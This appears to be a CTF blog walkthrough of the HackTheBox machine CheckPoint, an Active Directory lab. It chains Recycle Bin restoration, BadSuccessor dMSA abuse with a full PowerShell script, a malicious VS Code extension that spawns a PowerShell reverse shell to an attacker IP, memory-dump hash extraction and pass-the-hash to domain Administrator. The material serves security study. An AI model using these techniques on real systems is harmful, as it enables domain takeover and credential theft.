← Back to CTF
HTB Hard 3 min read

CheckPoint

Walkthrough of the HackTheBox machine CheckPoint: chaining AD Recycle Bin reanimation, two patched-BadSuccessor dMSA attacks, a malicious VS Code extension uploaded to an SMB share, and VM memory forensics to escalate from given user credentials to domain Administrator on a Windows Server 2025 domain controller.

HackTheBoxActive DirectoryBadSuccessordMSAAD Recycle BinvsixSupply ChainPass the HashMemory ForensicsVolatilityWindows Server 2025
Platform HackTheBox Difficulty Hard Author Rana Uzair Ahmad
CheckPoint

Enumeration

$ nmap -sC -sV -Pn 10.129.x.x
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
389/tcp  open  ldap
445/tcp  open  microsoft-ds
5985/tcp open  wsman

Adding DC01.checkpoint.htb checkpoint.htb to /etc/hosts. Starting credentials: alex.turner : Checkpoint2024!. LDAP signing is enforced — use bloodyAD -k for all directory operations.

$ getTGT.py checkpoint.htb/alex.turner:'Checkpoint2024!' -dc-ip 10.129.x.x
$ export KRB5CCNAME=alex.turner.ccache

$ bloodyAD --host DC01.checkpoint.htb -d checkpoint.htb -k get writable
alex (SID -1101):
  CREATE_CHILD  on OU=Employees
  WRITE         on CN=Mark Davies (DELETED)
  WRITE         on CN=Deleted Objects container

$ smbclient.py 'checkpoint.htb/alex.turner:Checkpoint2024!@DC01.checkpoint.htb'
DevDrop VS Code extensions, engine 1.118.0 (alex: read-only)
VMBackups Access Denied

Foothold

Reanimate mark.davies from the Recycle Bin

Alex holds write on the deleted object, write on the Deleted Objects container, and create-child on the target OU — the three rights needed for Recycle Bin restoration.

$ bloodyAD --host DC01.checkpoint.htb -d checkpoint.htb -k get search \
  --base 'DC=checkpoint,DC=htb' \
  --filter '(cn=Mark Davies*)' -c '1.2.840.113556.1.4.417'
sAMAccountName: mark.davies  state: deleted

$ bloodyAD --host DC01.checkpoint.htb -d checkpoint.htb -k set restore 'mark.davies'
mark.davies has been restored successfully

BadSuccessor against mark.davies

The patched Server 2025 BadSuccessor requires the victim to have msDS-SupersededManagedAccountLink set — alex has WriteProperty on the restored mark.davies, so it qualifies as a target.

$ bloodyAD --host DC01.checkpoint.htb -d checkpoint.htb -u alex.turner -k \
  add badSuccessor dMSA-MARK \
  -t 'CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb' \
  --ou 'OU=Employees,DC=checkpoint,DC=htb'
dMSA previous keys:
  RC4: 0b28e49d9deb96f99d74578e214faec2

Malicious .vsix → shell as ryan.brooks

With mark.davies’ NT hash, DevDrop becomes writable. A consumer (ryan.brooks) auto-installs .vsix packages from the share on VS Code startup.

$ MARK=0b28e49d9deb96f99d74578e214faec2
$ smbclient.py 'checkpoint.htb/mark.davies@DC01.checkpoint.htb' -hashes :$MARK
> use DevDrop
> put evil.vsix

evil.vsix is a zip (OPC layout) with "activationEvents": ["*"] in package.json and an extension.js that spawns a reverse shell:

const { exec } = require('child_process');
exec('powershell -enc <base64-reverse-shell-to-10.10.14.x:9001>');
PS C:\Users\ryan.brooks> whoami
checkpoint\ryan.brooks
PS C:\Users\ryan.brooks> type Desktop\user.txt
<REDACTED>

Privilege Escalation

ryan.brooks → svc_deploy

ryan has CREATE_CHILD on OU=DMSAHolder and WriteProperty on svc_deploy — a second BadSuccessor link. Create a dMSA targeting svc_deploy from the ryan.brooks shell:

$sddl = "O:S-1-5-32-544D:(A;;0xf01ff;;;S-1-5-21-3129162710-3498938529-1807524340-1101)"
$rsd  = New-Object System.Security.AccessControl.RawSecurityDescriptor($sddl)
$ba   = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($ba,0)
Import-Module ActiveDirectory
New-ADObject -Name dMSApwn -Type msDS-DelegatedManagedServiceAccount `
  -Path "OU=DMSAHolder,DC=checkpoint,DC=htb" `
  -OtherAttributes @{
    'msDS-DelegatedMSAState'              = 2;
    'msDS-ManagedAccountPrecededByLink'   = 'CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb';
    'msDS-GroupMSAMembership'             = $ba;
    'msDS-SupportedEncryptionTypes'       = 28;
    'sAMAccountName'                      = 'dMSApwn$';
    'dNSHostName'                         = 'dMSApwn.checkpoint.htb';
    'userAccountControl'                  = 4096;
    'msDS-ManagedPasswordInterval'        = 30
  }
Set-ADObject 'CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb' -Add @{
  'msDS-SupersededManagedAccountLink'   = 'CN=dMSApwn,OU=DMSAHolder,DC=checkpoint,DC=htb';
  'msDS-SupersededServiceAccountState' = 2
}
$ KRB5CCNAME=alex.turner.ccache getST.py -k -no-pass \
  -impersonate 'dMSApwn$' -self -dmsa -dc-ip 10.129.x.x \
  'checkpoint.htb/alex.turner'
Previous keys:
  RC4: e16081eb077aca74bdbf8af12af43ac9

$ SVC=e16081eb077aca74bdbf8af12af43ac9
$ evil-winrm -i 10.129.x.x -u svc_deploy -H $SVC

svc_deploy → Administrator

svc_deploy is in BackupAccess, giving read access to VMBackups. Download the VM memory snapshot:

$ smbclient.py 'checkpoint.htb/svc_deploy@DC01.checkpoint.htb' -hashes :$SVC
> use VMBackups
> get "NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem"

Extract hashes from the snapshot offline:

$ mkdir hives
$ vol -o ./hives -f Snapshot1.vmem windows.registry.hivelist --dump

$ secretsdump.py \
  -sam  hives/registry.SAM.*.hive \
  -system hives/registry.SYSTEM.*.hive \
  -security hives/registry.SECURITY.*.hive \
  LOCAL
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f29e9c014295b9b32139b09a2790be3b:::

The VM’s local Administrator hash is reused as the domain Administrator password:

$ evil-winrm -i 10.129.x.x -u Administrator -H f29e9c014295b9b32139b09a2790be3b
PS C:\Users\Administrator> Get-ChildItem -Path C:\ -Include root.txt -Recurse -Force -ErrorAction SilentlyContinue | ForEach-Object { gc $_.FullName }
<REDACTED>

// Discussion

Enjoyed this? Let us work together.

I am open to security internships and junior roles.